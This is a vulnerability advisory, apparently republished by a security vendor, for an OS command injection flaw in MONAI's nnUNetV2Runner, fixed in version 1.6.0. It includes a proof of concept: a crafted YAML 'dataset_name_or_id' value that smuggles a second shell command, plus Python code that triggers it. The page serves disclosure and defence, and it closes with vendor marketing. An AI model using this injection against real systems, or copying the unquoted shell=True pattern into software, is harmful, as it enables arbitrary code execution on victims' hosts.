Summary
MONAI vulnerable to OS command injection
Comment from JPCERT/CC
We are submitting the report again as we have yet to receive
any responses from you after submitting it on February 5 and March 11.
It would be greatly appreciated if you could send us a message
after confirming it so that we can follow up the case by email.
MONAI vulnerable to OS command injection.
Details
This library concatenates user-controlled values (YAML's
"dataset_name_or_id" or part of "CLI/kwargs")
without quoting or validation. Since this string is passed to subprocess
with shell=True,
shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.
As a result, arbitrary commands can be concatenated and executed.
Therefore, the reporter identifies this as CWE-78 (OS Command Injection).
The victim needs to load a crafted YAML file in the code that launches
training/validation jobs
based on the configuration (YAML/arguments). There are no other constraints.
PoC
Verified on Windows.
Load a modified YAML file with crafted "dataset_name_or_id" as follows.
Add command separator characters (such as & or ;) and insert arbitrary
commands.
dataset_name_or_id: '4 & echo "This is exploited" >
"C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem'
dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data
datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json
work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work
nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw
nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed
nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results
As a victim, verify running the following Python code to load and
process the YAML file.
from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner
from pathlib import Path
#Path of the crafted YAML file
YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml"
#Text file overwritten when command executes
OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt")
#Read YAML
runner = nnUNetV2Runner(input_config=YAML,
trainer_class_name="nnUNetTrainer")
runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0)
#Verify command execution
print("Result:", OUT.read_text(encoding="utf-8").strip())
Also, see the attached file.
JVN#50379904-details.zip
Impact
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-RGHG-Q7WP-9767? GHSA-RGHG-Q7WP-9767 is a high-severity OS command injection vulnerability in MONAI (pip), affecting versions < 1.6.0. It is fixed in 1.6.0. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- Which versions of MONAI are affected by GHSA-RGHG-Q7WP-9767? MONAI (pip) versions < 1.6.0 is affected.
- Is there a fix for GHSA-RGHG-Q7WP-9767? Yes. GHSA-RGHG-Q7WP-9767 is fixed in 1.6.0. Upgrade to this version or later.
- Is GHSA-RGHG-Q7WP-9767 exploitable, and should I be worried? Whether GHSA-RGHG-Q7WP-9767 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-RGHG-Q7WP-9767 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-RGHG-Q7WP-9767? Upgrade
MONAIto 1.6.0 or later.